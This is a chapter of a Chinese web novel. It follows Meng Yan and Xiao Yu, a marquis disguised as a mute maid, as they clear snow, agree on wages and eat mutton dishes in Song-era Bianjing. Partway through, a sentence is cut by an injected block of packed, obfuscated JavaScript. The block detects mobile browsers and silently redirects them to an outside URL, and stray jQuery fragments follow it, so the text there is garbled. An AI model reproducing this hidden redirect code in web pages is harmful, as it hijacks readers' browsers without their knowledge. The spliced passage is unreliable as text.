次间和萧遇想象中不同,陈设很简单,完全看不出是一个大舶商之女的房间。
次间以屏风相隔,里面是平日睡觉的架子床,外面是白日用来小憩的矮榻。
萧遇蹙了蹙眉,这么怕冷,怎么没搭个火阁?
目光又扫了几眼,在屏风外迅速将袄子换上,材质比他平日里穿用的粗糙了些,却也没有太多不适。
看着换下来的绫面夹衣,萧遇沉默一瞬,将其卷在另一件新袄中,一起先放在了矮榻上。
出来后,身上明显臃肿了许多。
孟嫣便知她换了袄子,朝她笑了笑,也站起身来,准备和她一起扫雪。
萧遇却按住了她,在纸上写道:怎么没搭个火阁?
孟嫣:“火阁?”
这是什么?暖阁吗?这要如何搭?
萧遇没想到孟嫣竟不知火阁,虽奇怪却也没深究,想了想,在纸上画了起来。
孟嫣渐渐明白了。
萧遇笔下的火阁其实就是后来明清时期的暖阁,都是在起居室里搭建个小隔间,不同的是,明清时期的暖阁不可拆卸,这时的火阁却可以。
冬日在靠南的窗子边上搭建出一个隔间,上面罩上软帷,将床榻搬进来,再放个火炉,因为空间小,所以取暖效果好。
等冬日一过,将火阁拆除,房间又恢复成原样。
孟嫣:“这得请个匠人来。”
萧遇却又在纸上写到:我去办。
孟嫣想到她是汴京人氏,比她熟悉的多,便同意了。
萧遇又写:要明日。扫完雪,回去取两身衣裳。
孟嫣看过,突然拍了下自己脑袋:“这怪我,只想着给你买袄子,忘了给你添衣裳了。王妈妈说,你春夏秋冬四时衣衫,每时我也要管两身的。”
说到这,孟嫣又想起了萧遇月钱,又道:“虽然你不会说话,月钱只需一贯,但我并不觉得你比别人差哪去,所以你的月钱和别人一样,也是一千五百钱。”
孟嫣说完,想了想又道:“不过现在冬日,晚上我可能要劳烦你去灌汤婆子,还要注意着炭火,要辛苦一些。我听闻那些大户人家的贴身女使每月也有四贯钱的月钱,守夜什么的也是轮流来,我这里只有你一人,所以冬日这几个月,我付你五贯钱如何?”
她果然不缺银子。
五贯钱可是心腹女使才能拿到的月钱,她就这样波澜不惊地给了一个粗使丫头。
看来找到传闻中的那些财宝有望了!
萧遇轻轻点了点头,却也写道:衣裳,我有,不用管。
孟嫣见此,想了想:“那我把四季衣裳都折算成银钱给你。”
今后二人就要在一起生活一年之久,冬日夜里还要折腾人起来给她灌汤婆子,她心里还挺过意不去的,只好多给些银钱,不能把人亏待了去。
萧遇又点了点头。
二人去了院子,萧遇二话不说拿起扫帚扫起雪来,孟嫣也去厨房又寻了一把,跟在他后面扫。
萧遇却拦住了她,让她进去烤火。
孟嫣却笑:“我们一起还快些,况且郎中说我也要多动动才好。”
孟嫣的话半真半假,其实她穿过来第二日,身子已经能明显感觉到好多了,恢复了正常饮食后,她觉得身子已经完全好了。
她也出来扫雪,无非是不想萧遇一个人。
一个人真是太孤单了,即便她自己扫的不快,多个人陪着,也能让人家心里暖上几分不是?
萧遇却觉得她只会添乱,还是让她回去烤火。
孟嫣拗不过,只好拢着斗篷站在了一边看着。
萧遇觉得孟小娘子这个人真奇怪,明明冷的不行,还非要站外面。
他也不废话,动作利落地扫起雪来。
萧遇按着记忆,将院中砖石铺就的路先清扫出来,再要继续扫时被孟嫣叫住了。
萧遇回头,就见孟嫣站在他清扫出来的砖石路上,离他几步远:“其他的地方不用扫了,平日里也不会往这些地方走,明年我还想在这些空地上种上些什么,这雪正好可以沃沃土。”
萧遇便就作罢。
孟嫣还记得萧遇要回去拿几身衣裳,就让她早些回去,也早点回来用晚饭。
萧遇轻轻颔首就出了院子。
孟嫣回了堂屋,坐在火炉旁,心情都舒泰了几分。
有人帮着干活真好啊!
还是得有钱才行。
她粗粗算了算这些日子的花销,已然花出去十几贯钱了,不过置办冬日用的衣物占了大头,吃饭倒是花的不多,还不到一贯钱。
她手里的银子还是能花挺长时间的。
既然这样,赚钱的事先不着急,她可以和萧怀真在汴京各处转转了!
思及此,孟嫣拢了拢斗篷,美滋滋地笑了起来。
萧遇出了院子径直回了隔壁。
林檎和戍安正百无聊赖,见侯爷回来立刻蹦了起来。
萧遇先吩咐戍安:“再去买两身女子衣裳来。”
又吩咐林檎:“明日回府,把库房那套不用的火阁找几个人送到孟小娘子那边,你别露面。”
林檎先应了一声,然后搓着手问道:“侯爷,您和孟小娘子今日吃什么?”
萧遇淡淡暼了他一眼,没说话。
孟嫣让他回去用晚膳,却也没说吃什么。
隔壁的孟嫣的确在琢磨晚上带萧遇去吃什么,今后她的轻省日子就都要靠她了。
可她也只吃过州桥附近的几家店,要说味道不错、吃食相对齐全、又是汴京口味的,也只有薛家分茶了。
要不晚上还是去薛家?去别家也行,可若是不好吃总会给她一个开局不利的感觉。
孟嫣正拧眉苦想的时候,萧遇提着一只包裹回来了。
一进门,就见孟嫣还坐在书案前烤火,似是他离开后就没挪过窝。
孟嫣招了招手。
萧遇将包裹放下,落座。
孟嫣:“你对汴京各大食店可熟悉?谁家最好吃?最合你胃口?”
原来是问他汴京食店。
汴京酒楼食肆数百家,就是说也要说上一时半会儿,而他现在要装哑巴,自然是开不了口。
萧遇想了想,写道:你喜欢什么口味的吃食?
既然一时半会儿说不清楚,就先问问她喜欢什么,按着她的喜好推荐一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952466|192745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些。
孟嫣还真认真想了想,拢了拢斗篷,歪头道:“我好像不挑食,什么都挺喜欢吃的。”
萧遇:……
又写:那现在最想吃什么?
孟嫣又想了想:“吃些暖和的。”
萧遇写道:吃羊,羊温补,令体暖身热。
孟嫣丝毫没察觉自己已经被萧遇牵着鼻子走,点头道:“谁家做的羊最好吃?”
汴京各大食店做羊各有做法,若说好吃,不过是各人喜好。
萧遇看了孟嫣一眼,没有车马,又这么怕冷……
萧遇写道:李四分茶,羊不错。
孟嫣:“在何处?”
萧遇:州桥以南,遇仙楼对面。
看到“遇仙楼”三个字,孟嫣目光亮了亮:“酒楼的茶饭岂不是更好吃?”
萧遇却摇了摇头又点了点头。
孟嫣:“那是好吃还是不好吃?”
萧遇:酒楼,卖酒。
孟嫣猜测:“只卖酒,不卖茶饭?”
萧遇又摇了摇头,又写:有茶饭,不一定好吃。
孟嫣“哦”了一声,脸上失望之色明显,没想到汴京酒楼繁多,却并不精于茶饭。
萧遇见孟嫣的神色,又开始写了起来,只不过这次写了许多字。
孟嫣看去,这才明白。
原来汴京各大酒楼主打卖酒、宴饮、赏乐,也有茶饭经营,菜肴精致,味道也尚可。
若说好吃,可能比不上一些食肆的味道,并且通常以佐酒菜肴为主。另外,许多酒楼还都允许食客自行去外面食肆买下酒菜。
自然,也有菜肴味美的酒楼。
比如近两年刚建成的白矾楼,又名丰乐楼,不仅建筑恢弘,在其三楼可俯瞰皇宫大内,其许多常见食物用料奇珍,做法繁复,呈现精致,因而味道独特鲜美,在京城也是首屈一指。
孟嫣又弯起眼睛笑笑:“既然如此,哪日我们也去那丰乐楼吃上一顿,也看看皇宫大内是个什么样!”
萧遇却写道:俯瞰皇宫大内的那一侧已经封上了。
孟嫣:……
二人最终去了李四分茶。
李四分茶果真与薛家不同,刚到店门口就闻到了羊肉香,看来李四家主打吃的是个羊肉。
二人落座,孟嫣就见厅中楹柱上挂了招牌,招牌上写着各色羊。
从羊头到羊蹄再到内脏,各个部位诸多吃法。
最终孟嫣二人点了羊头签、蒸软羊、清炖羊、炒羊几道羊肉菜肴,又加了两道炒发芽豆和蒸干茄的素菜以及两份乳羊面。
菜没上之前,孟嫣在想菜的味道如何。
菜送上来后,孟嫣想的则是够不够吃了。
二人虽然足足点了六道菜,可不是以浅盘就是以浅碗盛装,无论是盘还是碗,在孟嫣看来都不太大。
就像那道以浅盘装的炒羊,孟嫣觉得都不够她吃几口的。
孟嫣虽然有几分兴味阑珊,好在菜的味道却很不错,吃的她面颊鼓鼓。
萧遇倒没想那么多,羊头签外酥里嫩,蒸软羊入口即化,都是他喜欢的味道。
很快,二人将几道菜一扫而光。